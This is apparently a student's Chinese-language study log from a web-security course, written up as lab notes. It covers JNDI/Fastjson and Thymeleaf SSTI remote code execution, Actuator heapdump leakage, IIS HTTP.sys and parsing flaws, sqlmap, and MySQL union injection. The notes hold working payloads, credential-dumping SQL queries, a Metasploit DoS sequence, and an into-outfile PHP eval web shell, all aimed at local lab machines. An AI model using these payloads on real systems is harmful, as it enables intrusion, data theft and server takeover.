java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<你的IP>:8080/#TestJndi"
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:6767/#TestJndi"

这里的6767是我放class文件那个网站的端口,回到开始的那个代码

改成ldap,并且后门的是#接的名称,注意端口是1389,启动之后调用出来了计算器,rmi也可以

整体利用链
-
应用程序使用 JNDI 动态查找对象
比如:InitialContext ctx = new InitialContext(); ctx.lookup("ldap://127.0.0.1:1389/TestJndi");这行代码会让程序去一个远程目录服务(RMI/LDAP)里找对象。
本意是为了动态加载一些资源(比如数据库连接池、JMS 队列等),但被攻击者利用了。
攻击者控制 JNDI URL
-
如果用户输入、日志内容等能拼接进
lookup(),攻击者就能传入一个恶意的 JNDI 地址:ldap://攻击者IP:1389/TestJndi -
程序就会去请求攻击者控制的 LDAP/RMI 服务。
恶意 LDAP/RMI 服务返回一个引用 (Reference)
-
通过工具(比如
marshalsec),攻击者搭建一个 LDAP 服务器。 -
当应用发来请求时,LDAP 服务返回一个 Reference 对象,其中告诉应用:
你要的这个类在
http://攻击者IP:端口/#TestJndi上,快去下载。
目标 JVM 自动下载并加载恶意类
- JNDI 机制会根据 LDAP 返回的信息,从指定的 HTTP 服务器拉取
.class文件。 - JVM 的类加载器把远程
.class文件加载进内存,并执行其中的静态代码块 / 构造函数。 - 于是你的
Runtime.getRuntime().exec("calc");就在受害者机器上执行了。
结果:远程代码执行 (RCE)
- 攻击者不需要本地权限,直接通过日志、请求参数等方式触发
lookup(),最终实现了任意命令执行。 - 这就是 Log4Shell (CVE-2021-44228) 的核心原理。
总结
我让ai总结了一下:
准备恶意类文件
- 写一个
.java文件,里面写你希望执行的恶意操作,比如弹计算器、执行命令、下载木马等。 - 编译成
.class文件。
放到可访问的 HTTP/文件服务器
- 比如你的小皮网站,或者其他能被程序访问的 URL。
- 关键点:程序必须能通过网络访问到这个 class 文件。
触发程序去访问你的 class 文件
- 利用 JNDI 或 Log4j 里的漏洞,让程序执行
lookup()或解析${jndi:...}时,指向你放 class 的地址。 - 这一步就是“钥匙”,触发 JVM 去加载你的 class。
JVM 加载并执行 class 文件
- JVM 会把你放在网站上的 class 下载到内存里,并执行 static 块或构造函数里的代码。
- 恶意操作就完成了(比如远程命令执行 RCE)。
关键点:
- 核心漏洞:程序无条件信任外部的 JNDI/Log4j 输入,会去下载执行 class 文件。
- 关键就是“访问 class 文件”:只要 JVM 去加载了这个 class 文件,就会执行里面的恶意代码。
- 准备 class 文件 + 可访问路径 + 触发程序访问 = 利用链完整。
JDK版本
jdk8的ldap和rmi都可以用
jdk11的ldap可以,rmi不行
jdk18的ldap可以,rmi不行

JNDI 注入-FastJson 漏洞结合
写一个FastJson数据转换页面,先导入那个pom.xml
index.jsp:

FastJson.java:

我们利用JNDI-Injection-Exploit-1.0-SNAPSHOT-all工具

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/nnz91k","autoCommit":true}
在输入框输入上述语句,提交,弹出计算器
两个问题,黑盒和白盒
黑盒
为什么知道是fastJson?
报错界面:

白盒
为什么payload要这么写?
上节课用的是:
{\"@type\":\"org.example.Run\",\"age\":18,\"name\":\"anaxa\"}
- 这是 白盒实验,
org.example.Run是自己写的类,能控制readObject()或构造方法去执行命令(比如打印、弹计算器)。 @type指向你可控的类 → payload 可以直接执行命令。
实战环境的挑战:
- 你不能直接写自己的类,攻击者要利用 现有 JDK 类 或第三方类(gadget)。
- 这就引出了
com.sun.rowset.JdbcRowSetImpl这种 gadget 类。
为什么 payload 要写成这样
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/nnz91k","autoCommit":true}
每一部分作用:
| 字段 | 作用 |
|---|---|
@type="com.sun.rowset.JdbcRowSetImpl" |
Fastjson 反序列化时创建这个对象,选择 gadget 类 |
dataSourceName="ldap://..." |
JdbcRowSetImpl 内部会调用 InitialContext.lookup() 去访问这个 JNDI URL |
autoCommit=true |
触发对象内部方法 readObject(),在反序列化期间访问 dataSourceName |
LDAP / RMI / InitialContext.lookup() 的联系
-
JNDI(Java Naming and Directory Interface)
- 是 Java 提供的一个统一查找远程对象的接口。
InitialContext.lookup("ldap://...")会去 LDAP 或 RMI 服务查找对象。
-
JdbcRowSetImpl 里调用 JNDI
-
setDataSourceName()或readObject()会触发内部代码:Context ctx = new InitialContext(); ctx.lookup(dataSourceName); -
也就是说,只要设置了
dataSourceName="ldap://..."并触发autoCommit=true,对象就会自动去 JNDI 拉取远程对象。
-
-
远程对象可以是恶意类
- LDAP/RMI 服务器返回的 class 文件里可以写
Runtime.getRuntime().exec("calc")。 - JVM 在加载这个类时就执行了命令。
- LDAP/RMI 服务器返回的 class 文件里可以写
所以 payload 的设计就是:
- 选一个已有类(JdbcRowSetImpl)作为 gadget。
- 设置属性(dataSourceName)让它触发 JNDI 调用。
- 设置 autoCommit 触发对象内部方法。
- 攻击者远程控制的 LDAP/RMI 返回恶意类 → 执行命令。
叫AI写了一个通俗易懂的解释:
白盒实验
{"@type":"org.example.Run","age":18,"name":"anaxa"}
org.example.Run是你自己写的类,你知道里面有readObject()会弹计算器。- 只要 Fastjson 创建这个对象并设置属性,就会执行命令。
- 很简单,你完全控制信和收件人。
实战环境
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/nnz91k","autoCommit":true}
- 你不能写自己的类,只能用系统自带的
JdbcRowSetImpl。 - 你在信里放了
dataSourceName和autoCommit。 - 这里的
JdbcRowSetImpl就像一个好奇心很重的收件人:- 它看到
dataSourceName(信里的地址),就会跑去远程取东西(JNDI / LDAP)。 autoCommit=true是按下开关,让它真的去取东西。
- 它看到
- 如果远程服务器给它一个“危险包裹”(恶意 class),收件人就会执行里面的命令(比如弹计算器)。
LDAP / RMI / InitialContext.lookup() 是什么?
- 你写的
ldap://127.0.0.1:1389/nnz91k就像快递地址。 InitialContext.lookup()就是收件人去这个地址取快递的动作。- 远程服务器(LDAP/RMI)给你一个“特制快递”,里面有命令。
- 收件人(JdbcRowSetImpl)拆开快递 → 执行命令。
** 为什么要这样写 payload**
@type指向 可用的 gadget 类(系统自带的危险收件人)。dataSourceName指向 你的远程地址(放置恶意快递)。autoCommit=true→ 触发收件人去取快递。
这就形成了完整的攻击链:信→收件人→远程快递→命令执行。
JNDI 注入-JDK 高版本注入绕过
第38天:安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版注入
Spring Boot 是由 Pivotal 团队提供的一套开源框架,可以简化 spring 应用的创建及部署。它提供了丰富的 Spring 模块化支持,可以帮助开发者更轻松快捷地构建出企业级应用。Spring Boot 通过自动配置功能,降低了复杂性,同时支持基于 JVM 的多种开源框架,可以缩短开发时间,使开发更加简单和高效。
#SpringBoot-Web 应用-路由响应
参考:https://springdoc.cn/spring-boot/
1、路由映射
@RequestMapping @GetMapping 等
2、参数传递
@RequestParam
3、数据响应
@RestController @Controller
@RestController 注解相当于@ResponseBody+@Controller 合在一起的作用。
@RestController
public class HelloController {
//无参数访问响应
@RequestMapping("/xiaodi")
public String hello() {
return "hello xiaodi";
}
//无参数指向 GET 方法访问响应
@RequestMapping(value = "/get",method = RequestMethod.GET)
public String helloGet(){
return "hello get xiadi";
}
//有参数指向 GET 方法访问响应
@RequestMapping(value = "/getp",method = RequestMethod.GET)
public String hellogetp(String name){
return "hello get "+name;
}
//有参数指向 POST 方法访问响应
@RequestMapping(value = "/getpost",method =
RequestMethod.POST)
public String helloGetParameters(String name){
return "hello POST "+name;
}
}
SpringBoot-Web 应用-路由响应
创建项目:



这样可以自动生成目录并放在对应目录下

无参数
IndexController:

启动最开始自带的文件

会启动一个Tomcat

访问8080端口

访问写的路由

返回代码中写的index
可以指定请求方法,GET和POST

访问Anaxa报错

GET:

POST:

还有一种就是直接用
@GetMapping(value = "/Anaxaget")
@PostMapping(value = "/Anaxapost")

有参数



SpringBoot-数据库应用-Mybatis
开发
创建项目

项目添加Mybatis数据库驱动
创建项目的时候添加的三个东西已经自动添加好了
项目配置数据库连接信息

自带的配置文件,换个yml

创建User类用来操作数据库数据
创建User类
写上数据库里面有的列名,alt+insert

Getter和Setter里面的方法全都写进去,toString也写进去

创建Mapper动态接口代理类实现
创建UserMapper

导入类

查询数据

创建Controller实现web访问调用
Controller文件夹下GetAdminController文件:

运行

访问/getadmin是查询全部数据

访问/getid是id等于1的数据

安全问题
SQL注入问题
模糊查询
select * from admin where id like '%${id}%'
UserMapper修改:

GetAdminController修改:

启动访问,有参数

带有 IN 谓词的查询
带有动态排序功能的查询
SpringBoot-模版引擎-Thymeleaf
index.html

ThymeleafController

- ThymeleafController.java
- 定义了一个
/index接口。 - 请求
/index时,方法执行,把数据"hello xiaodi"存入模型。 - 返回视图名
"index"。
- 定义了一个
- index.html
- 位于
resources/templates/目录下(这是 Spring Boot 默认找模板的路径)。 - 文件名是
index.html,与控制器返回的"index"对应。 - 模板引擎 Thymeleaf 负责把控制器传过来的
data渲染到${data}的位置。
- 位于
👉 关系可以理解为:
请求 /index → Controller 返回视图名 "index" → 视图解析器找到 templates/index.html → Thymeleaf 把模型里的数据填进去 → 渲染成完整 HTML → 返回给浏览器。
为什么要用 Thymeleaf 模板?
如果不用模板,你的 Controller 只能:
- 返回纯字符串(
@RestController) - 或者返回 JSON(常见于前后端分离)
但在很多场景(比如小型系统、管理后台、教学)里,需要后端直接返回一个完整的 HTML 页面,带有动态数据。
Thymeleaf 的作用就是:
- 模板引擎:在 HTML 中用占位符
${xxx}表示后端传入的数据。 - 与 Spring MVC 无缝集成:Spring Boot 自动配置好了 Thymeleaf,不需要手动写视图解析器。
- 前后端统一:同一个
index.html,你直接打开时能看到默认内容(小迪安全),而通过 Spring Boot 访问时能看到动态内容(hello xiaodi)。
就是说前端的data不固定死,想要修改就后端修改数据

中英文界面
在一些网站修改参数就能在中英文界面切换,大部分是
?lang=zh_CN

切换到英文
lang=en

在原来代码之上再次创建一个html文件用来显示英文界面

java文件加一个路径

index:

inden-en:

漏洞注入点:

这里版本问题改了好几次都没搞出来,先留在这
1️⃣ 漏洞原理
Thymeleaf 模板注入(SSTI)本质是 模板引擎在渲染阶段执行用户可控的表达式:
- 模板表达式
<span th:text="${data}">默认文本</span>
${data}是 Thymeleaf 的表达式- Thymeleaf 会解析
${…}并替换为实际数据
- 漏洞发生条件
- 用户输入被直接传入模板渲染,例如:
@RequestMapping("/")
public String langSwitch(@RequestParam String lang, Model model) {
model.addAttribute("data", lang); // 用户输入直接作为模板变量
return "index"; // 固定模板
}
- 老版本 Thymeleaf(<=3.0.11)会 解析
${…}为 OGNL 表达式 - 攻击者可以在
${…}里调用 Java 类、方法,甚至执行系统命令
- SSTI 攻击链
| 阶段 | 说明 |
|---|---|
| 用户输入 | URL 或表单输入 ${T(java.lang.Runtime).getRuntime().exec("命令")} |
| 模板渲染 | Thymeleaf 把 ${data} 当作表达式执行 |
| 代码执行 | 调用 Runtime.exec() 或其他 Java 方法 |
| 结果 | 系统命令执行,例如弹出计算器或访问文件 |
2️⃣ 具体 payload 示例
2.1 弹出计算器(macOS)
${T(java.lang.Runtime).getRuntime().exec("open -a Calculator")}
- macOS 上的 Calculator 应用
- 如果在模板中通过
th:utext="${data}"渲染,这条命令会执行
2.2 弹出计算器(Windows)
${T(java.lang.Runtime).getRuntime().exec("calc")}
- Windows 系统上的计算器
- URL encode 后使用:
%24%7BT(java.lang.Runtime).getRuntime().exec('calc')%7D
- 在浏览器访问:
http://127.0.0.1:8080/?lang=%24%7BT(java.lang.Runtime).getRuntime().exec('calc')%7D
3️⃣ 实验模板配置
index.html:
<span th:utext="${data} ?: '小迪安全'">小迪安全</span>
th:utext支持 HTML 内容渲染${data}来自用户输入- 老版本 Thymeleaf 会执行
${…}表达式
Controller:
@RequestMapping("/")
public String langSwitch(@RequestParam String lang, Model model) {
model.addAttribute("data", lang); // 用户输入直接作为模板变量
return "index"; // 固定模板名
}
通俗易懂版:
模板渲染就像“替换标签”
想象你有一个 HTML 模板,就像一个表格或信纸,上面有特殊标签 ${data}:
<span>${data}</span>
-
正常情况,你写了:
model.addAttribute("data", "你好小迪");渲染后,浏览器看到:
<span>你好小迪</span>
这就像你在信纸上写名字,把占位符替换成真实内容。
漏洞的本质
SSTI 的本质是:
模板引擎把用户输入当作“公式”或“代码”去算,而不是简单替换文本
举个例子:
${T(java.lang.Math).abs(-100)}
- 老版本 Thymeleaf 会把它当作表达式执行
- 就像 Excel 里把输入
=1+2当公式算出3 - 结果渲染到页面就是
100
如果攻击者输入:
${T(java.lang.Runtime).getRuntime().exec("calc")}
- Thymeleaf 会执行它,相当于“把命令直接跑在你的电脑上”
- Windows 上会弹出计算器,Linux/macOS 可以打开指定程序
- 这就是远程代码执行漏洞(RCE)
第39天:安全开发-JavaEE应用&SpringBoot框架&Actuator监控泄漏&Swagger自动化
#SpringBoot-监控系统-Actuator
SpringBoot Actuator 模块提供了生产级别的功能,比如健康检查,审计,指标收 集,HTTP 跟踪等,帮助我们监控和管理 Spring Boot 应用。
-开发使用:
1、引入依赖
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
2、配置监控 #暴露
#application.properties
management.endpoints.web.exposure.include=*
#application.yml
management:
endpoints:
web:
exposure:
include: '*'
#安全配置:
#application.properties
management.endpoint.env.enabled=false
management.endpoint.heapdump.enabled=false
#application.yml
management:
endpoint:
heapdump:
enabled: false #启用接口关闭
env:
enabled: false #启用接口关闭
2、1 图像化 Server&Client 端界面
Server:引入 Server 依赖-开启(@EnableAdminServer)
Client:引入 Client 依赖-配置(连接目标,显示配置等)
3、安全问题
-heapdump 泄漏
jvisualvm 分析器
JDumpspider提取器
https://github.com/whwlsfb/JDumpSpider/releases
-其他利用见下文
https://blog.csdn.net/drnrrwfs/article/details/125242990
#SpritgBoot-接口系统-SwaggerSwagger
是当下比较流行的实时接口文文档生成工具。接口文档是当前前后端分离项目中必不可少的工具,在前后端开发之前,后端要先出接口文档,前端根据接口文档来进行项目的开发,双方开发结束后在进行联调测试。
参考:https://blog.csdn.net/lsqingfeng/article/details/123678701
-开发使用
1、引入依赖
SpringBoot-监控系统-Actuator
数据显示
新建项目(spring boot,选web里面的spring web和Ops里面的Spring Boot Actuator),其他的先不改,直接启动查看

端口8081,路由/actuator

json转换一下

这些东西都有对应的

图形化界面
服务端
新建项目


配置:

客户端

配置

端口是服务器的端口
启动
访问服务端端口

显示的是客户端
点进去

就是一个图形化界面,显示上一个一样的端点和描述
安全问题
heapdump泄露

访问自动下载文件
VisualVM

装入下载好的文件

能得到一些信息
JDumpSpider-1.1-SNAPSHOT-full
地址:Releases · whwlsfb/JDumpSpider
使用
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

配置信息发现了
现在来新建一个项目,配置好数据库,来看看这个些工具是否能查询到数据

数据库配置信息

启动之后直接访问
http://127.0.0.1:7777/actuator/heapdump
下载得到文件之后用工具查看


可以看到是有的
这种泄露可以提取敏感信息(配置信息、接口信息、数据库、短信、云应用配置),分析得到组件(比如log4j):https://blog.csdn.net/drnrrwfs/article/details/125242990
如果想要不泄露可以在代码中直接写成false

之后再去访问会发现访问不了

SpringBoot-接口系统-Swagger
参考:https://blog.csdn.net/lsqingfeng/article/details/123678701
新建项目

pom.xml文件导入:
<!-- https://mvnrepository.com/artifact/io.springfox/springfox-swagger2 -->
<dependency>
<groupId>io.springfox</groupId>
<artifactId>springfox-swagger2</artifactId>
<version>3.0.0</version>
</dependency>
<!-- https://mvnrepository.com/artifact/io.springfox/springfox-swagger-ui -->
<dependency>
<groupId>io.springfox</groupId>
<artifactId>springfox-swagger-ui</artifactId>
<version>3.0.0</version>
</dependency>
application.properties配置文件:
spring.mvc.pathmatch.matching-strategy=ant_path_matcher

启动,访问:
http://localhost:8080/swagger-ui/index.html

有很多信息

新建一个TestController

启动,会发现有一个test-controller


try it out


也就是说这个代码里面有什么提交数据的逻辑都能显示出来
用postman自动化
导入api



可以看到全部显示出来了,点击run

这里面是一些可以测试的

Run Api Documentation

自动测试并显示返回信息
安全案例-JVM 泄漏&接口自动化
WEB攻防总思维导图
#章节点:
Web 层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python 等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问
等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP 回调,域名接管,DDOS,接口枚举等
关键技术:POP 链构造,JS 逆向调试,NET 反编译,JAVA 反编译,代码解密,数据解
密等
Web3.0:未待完续筹备中....

第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
#ASP-默认安装-MDB 数据库泄漏下载
由于大部分 ASP 程序与 ACCESS 数据库搭建,但 ACCESS 无需连接,都在脚本文件中定
义配置好数据库路径即用,不需要额外配置安装数据库,所以大部分提前固定好的数据库路径如默认未修改,当攻击者知道数据库的完整路径,可远程下载后解密数据实现攻击。
#ASP-中间件-CVE&短文件&解析&写权限
-HTTP.SYS(CVE-2015-1635)
1、漏洞描述
远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分
析经特殊设计的 HTTP 请求时会导致此漏洞。 成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。
2、影响版本
Windows 7、Windows Server 2008 R2、Windows 8、Windows Server
2012、Windows 8.1 和 Windows Server 2012 R2
3、漏洞利用条件
安装了 IIS6.0 以上的 Windows 7、Windows Server 2008 R2、Windows 8、
Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2 版本
4、漏洞复现
msfconsole
use auxiliary/dos/http/ms15_034_ulonglongadd
set rhosts xx.xx.xx.xx
set rport xx
run
-IIS 短文件
1、此漏洞实际是由 HTTP 请求中旧 DOS 8.3 名称约定(SFN)的代字符(~)波浪号引起
的。它允许远程攻击者在 Web 根目录下公开文件和文件夹名称(不应该可被访问)。攻击
者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。 2、漏洞成因:
为了兼容 16 位 MS-DOS 程序,Windows 为文件名较长的文件(和文件夹)生成了对应的
windows 8.3 短文件名。在 Windows 下查看对应的短文件名,可以使用命令 dir /x
3、应用场景:
后台路径获取,数据库文件获取,其他敏感文件获取等
4、利用工具:
https://github.com/irsdl/IIS-ShortName-Scanner
https://github.com/lijiejie/IIS_shortname_Scanner
-IIS 文件解析
IIS 6 解析漏洞
1、该版本默认会将*.asp;.jpg 此种格式的文件名,当成Asp解析
2、该版本默认会将*.asp/目录下的所有文件当成Asp解析。
如:logo.asp;.jpg xx.asp/logo.jpg
IIS 7.x 解析漏洞
在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为php文件
应用场景:配合文件上传获取webshell
-IIS写权限
IIS<=6.0 目录权限开启写入,开启webDAV,设置为允许
参考利用:https://cloud.tencent.com/developer/article/2050105
#ASP-SQL注入-SQLMAP使用&ACCESS注入
ACCESS数据库无管理帐号密码,顶级架构为表名,列名(字段),据,所以在注入猜中一般采用字典猜解表和列再获取数据,猜解简单但又可能出现猜解不到的情况,由于Access数据库在当前安全发展中已很少存在,故直接使用SQLMAP注入,后续再说其他
python sqlmap.py -u "" --tables //获取表名
python sqlmap.py -u "" --cloumns -T admin //获取admin表名下的列名
python sqlmap.py -u "" --dump -c "" -T admin //获取表名下的列名数据
ASP-默认安装-MDB 数据库泄漏下载
由于大部分 ASP 程序与 ACCESS 数据库搭建,但 ACCESS 无需连接,都在脚本文件中定义配置好数据库路径即用,不需要额外配置安装数据库,所以大部分提前固定好的数据库路径如默认未修改,当攻击者知道数据库的完整路径,可远程下载后解密数据实现攻击。
就是说在搭建网站的时候没有配置数据库这一步,数据库之间在文件路径里面,比如fyblogs,目录:


这个就直接是数据库了

算信息泄露,拿到了管理员密码登录后台等一系列操作
ASP-中间件-CVE&短文件&解析&写权限
HTTP.SYS(CVE-2015-1635)
有一个复现过程很完整的文章:HTTP.sys远程代码执行漏洞复现-CSDN博客
win7的ip:192.168.254.138
命令:
curl http://192.168.254.138 -H "Host: 192.168.254.138" -H "Range: bytes=0-18446744073709551615"
有漏洞的话会显示

一般就是报416这种错误的就是有漏洞
启动 Metasploit 框架的交互式控制台
msfconsole
选择使用 Metasploit 中的 辅助模块(auxiliary module),专门用于 DoS(拒绝服务)攻击
use auxiliary/dos/http/ms15_034_ulonglongadd
显示当前模块可配置的参数
show options

配置目标主机的 IP 地址为 192.168.254.138
set rhost 192.168.254.138

执行模块
run

win7这边

IIS 短文件
两个工具都能用,一个python的一个java的
IIS-ShortName-Scanner,这里测试的网站时iis搭的一个fyblogs
python
python iis_shortname_scan.py http://192.168.254.137:8001/


可以扫到对应的文件前面的几个字母,后面的是什么就只能猜了,比如数据库,知道了有数据库这个文件夹,就可以进一步扫文件夹里面的文件
jar
java -jar iis_shortname_scanner.jar http://192.168.254.137:8001/
应用场景
后台路径获取,数据库文件获取,其他敏感文件获取等
IIS 6 解析漏洞
1、该版本默认会将*.asp;.jpg 此种格式的文件名,当成Asp解析
2、该版本默认会将*.asp/目录下的所有文件当成Asp解析。
如:logo.asp;.jpg xx.asp/logo.jpg
比如一个文件名为1.asp的可以解析,但是1.asp.jpg就不行,1.asp;.jpg的可以
文件目录里面有一个1.jpg的不解析,但是目录名改为1.asp就可以
正常的1.asp可以解析进入


改成1.asp.jpg就不行


文件目录改成1.asp后面连接也是可以的
IIS 7.x 解析漏洞
在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为php文件
应用场景:配合文件上传获取webshell
但是这个有补丁所以很少见
-IIS写权限
IIS<=6.0 目录权限开启写入,开启webDAV,设置为允许
参考利用:https://cloud.tencent.com/developer/article/2050105

发送之后就会在目录生成这个文件
ASP-SQL 注入-SQLMAP 使用&ACCESS 注入
access数据库sqlmap使用
ACCESS数据库无管理帐号密码,顶级架构为表名,列名(字段),据,所以在注入猜中一般采用字典猜解表和列再获取数据,猜解简单但又可能出现猜解不到的情况,由于Access数据库在当前安全发展中已很少存在,故直接使用SQLMAP注入,后续再说其他
python sqlmap.py -u "url" --dbms=access --tables --batch //获取表名
python sqlmap.py -u "url" --columns -T admin //获取admin表名下的列名
python sqlmap.py -u "url" --dump -C "username,password" -T admin //获取表名下的列名数据
可以加上--batch来跳过确认键
三种获取目录的方式区别
目录扫描:用字典爆破

IIS短文件:利用漏洞探针

网站爬虫:获取架构中的目录和文件路径分析
就是每一个入口都进去或者看源码的方式去找目录,比如:

images是一个目录

或者在这里面找
后续小迪还演示了后台登录之后利用解析漏洞上传了后门文件拿到了靶机,那个靶机没找到源码就没跟着做了,后续要是有差不多的也会练习
文件上传->后缀是png->抓包->文件路径的斜杠后面添加东西发包->发现响应包随之改变->斜杠后面加上1.asp;.->解析漏洞触发
第42天:WEB攻防-PHP应用&MYSQL架构&SQL注入&跨库查询&文件读写&权限操作
MYSQL 注入:(目的获取当前 web 权限)
1、判断常见四个信息(系统,用户,数据库名,版本)
2、根据四个信息去选择方案
root 用户:先测试读写,后测试获取数据
非 root 用户:直接测试获取数据
#PHP-MYSQL-Web 组成架构
服务器安装 MYSQL 数据库,搭建多个站点,数据库集中存储 MYSQL 数据库中管理
可以都使用 root 用户管理也可以创建多个用户进行每个网站对应的数据库管理
1、统一交 root 用户管理
www.zblog.com = zblog = root =>MYSQL
www.demo01.com = demo01 = root =>MYSQL
2、一对一用户管理(推荐)
www.zblog.com = zblog = zblog =>MYSQL
www.demo01.com = demo01 = demo01 =>MYSQL
#PHP-MYSQL-SQL 常规查询
获取相关数据:
1、数据库版本-看是否符合 information_schema 查询-version()
2、数据库用户-看是否符合 ROOT 型注入攻击-user()
3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()
MYSQL5.0 以上版本:自带的数据库名 information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.schemata:记录数据库名信息的表
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
schema_name:information_schema.schemata 记录数据库名信息的列名值
table_schema:information_schema.tables 记录数据库名的列名值
table_name:information_schema.tables 记录表名的列名值
column_name:information_schema.columns 记录列名的列名值
#PHP-MYSQL-SQL文件读写
影响条件:
1、当前数据库用户权限
2、secure-file-priv设置
测试不同数据库用户:root demo
union select 1,load file('d:\\1.txt')3,4,5
union select 1,'xiaodi',3,4,5 into outfile 'd:\\2.txt'
PHP-MYSQL-Web 组成架构
mysql里面有内置的管理用户,其中root就是默认数据库管理员用户
access无数据库用户
服务器安装 MYSQL 数据库,搭建多个站点,数据库集中存储 MYSQL 数据库中管理
可以都使用 root 用户管理也可以创建多个用户进行每个网站对应的数据库管理
1、统一交 root 用户管理
www.zblog.com = zblog = root =>MYSQL
www.demo01.com = demo01 = root =>MYSQL
2、一对一用户管理(推荐)
www.zblog.com = zblog = zblog =>MYSQL
www.demo01.com = demo01 = demo01 =>MYSQL
SQL注入产生的原理
接受的参数值未进行过滤直接带入SQL查询的操作
攻击:利用SQL语句执行你想要的东西(SQL语句能干嘛,注入就能干嘛)
SQL语句能干嘛 = SQL语句由谁决定 => 数据库类型决定(为什么mysq1注入 oracle注入叫法原因)
架构
mysq1
数据库名A
表名
列名(字段)
数据
数据库名B
表名
列名(字段)
数据
(单个)Access
表名
列名(字段)
数据
access注入是用字典去猜的
PHP-MYSQL-SQL 常规查询
MYSQL5.0 以上版本:自带的数据库名 information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.schemata:记录数据库名信息的表
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
schema_name:information_schema.schemata 记录数据库名信息的列名值
table_schema:information_schema.tables 记录数据库名的列名值
table_name:information_schema.tables 记录表名的列名值
column_name:information_schema.columns 记录列名的列名值
拿出之前开发的news.php,其中demo01数据库里面一共三个表

打开页面加参数id

order by
先order by看有几段数据
http://demo01:6767/news.php?id=1 order by 6

6不显示5显示

可知一共5段数据

union select
知道是五个数据之后联合查询
http://demo01:6767/news.php?id=-1 union select 1,2,3,4,5

如果直接1,2,3,4,5的话不显示数字那么就在1的前面加上减号让它报错就会显示了
我们观察页面显示的数字来判断哪些可以查询,页面显示了2,3,4,那么就说明在这三个地方可以查询数据
版本、数据库、os
http://demo01:6767/news.php?id=-1 union select 1,version(),database(),@@version_compile_os,5

表
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.tables:记录表名信息的表
http://demo01:6767/news.php?id=-1 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema='demo01'
查询tabel_name的值,需要来到information_schema.tables下,也就是information_schema数据库下面的table表

来到information_schema数据库的tables表下面,现在知道了数据库是demo01,需要的是demo01下的表的值,所以过滤table_schema='demo01'然后查询table_name

group_concat()是一次性全部显示

查询到了demo01数据库下的所有表名
列
information_schema.columns:记录列名信息表
http://demo01:6767/news.php?id=-1 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema='demo01' and table_name='admin'
来到了columns表

现在需要查询的就是column_name,过滤的就是table_schema和table_name,并且是在information_schema数据库下的columns表里面查询的

数据
http://demo01:6767/news.php?id=-1 union select 1,username,password,4,5 from admin limit 0,1
既然已经知道了这个数据库里面有admin这个表,并且这个表里面有username和password这个列,那么就可以直接sql语句查询了

limit 0,1表示从第一条数据开始查询只显示一条数据


PHP-MYSQL-SQL 跨库查询
小皮新建一个数据库demo02,用navicat连接


demo02只有自己的一个数据库,但是root可以看到全部的
所以如果是root权限的话,在a网站没有注入点但是b网站有就可以实现一个跨库查询
http://demo01:6767/news.php?id=-1 union select 1,2,3,group_concat(schema_name),5 from information_schema.schemata
information_schema.schemata:记录数据库名信息的表


schemata里面存放了root用户下所有的数据库名

表
确定我们要查的是zblog这个数据库之后就语句
http://demo01:6767/news.php?id=-1 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema='zblogs'

列
找和用户名有关的表:zbp_member
http://demo01:6767/news.php?id=-1 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema='zblogs' and table_name='zbp_member'

找到了用户名和密码的列名
数据
http://demo01:6767/news.php?id=-1 union select 1,mem_Name,mem_Password,4,5 from zblogs.zbp_member limit 0,1
注意这里的表是zblogs的数据库下面的表,所以要写成zblogs.zbp_member

怎么知道当前是谁在查询
数据库用户-看是否符合 ROOT 型注入攻击-user()
http://demo01:6767/news.php?id=-1 union select 1,2,user(),4,5

root
这个数据库的权限,也就是到底是root还是普通用户是由网站的配置文件决定的
PHP-MYSQL-SQL 文件读写
影响条件:
1、当前数据库用户权限
2、secure-file-priv设置
查看文件
普通用户:

root用户:

网页执行得到1.txt的文件内容

上传文件
http://demo01:6767/news.php?id=-1 union select 1,'<?php eval($_POST[x]);?>',3,4,5 into outfile 'D:/cyberspace/web_tools/phpstudy_pro/WWW/demo01/haihaihai.php'

这个文件路径D:/cyberspace/web_tools/phpstudy_pro/WWW/demo01/haihaihai.php可以通过读取配置文件来得到
读写路径
常用路径:MySQL注入load_file常用路径 - lcamry - 博客园
1、报错显示获取路径
2、phpinfo页面泄漏
如果不知道路径思路:
利用常见的默认的中间件,数据库等安装路径读取有价值信息
tips
sql注入中,用了单引号就不用编码,用了编码就不用单引号
第43天:WEB攻防-PHP应用&SQL注入&符号拼接&请求方法&HTTP头&JSON&编码类
#PHP-MYSQL-数据请求类型
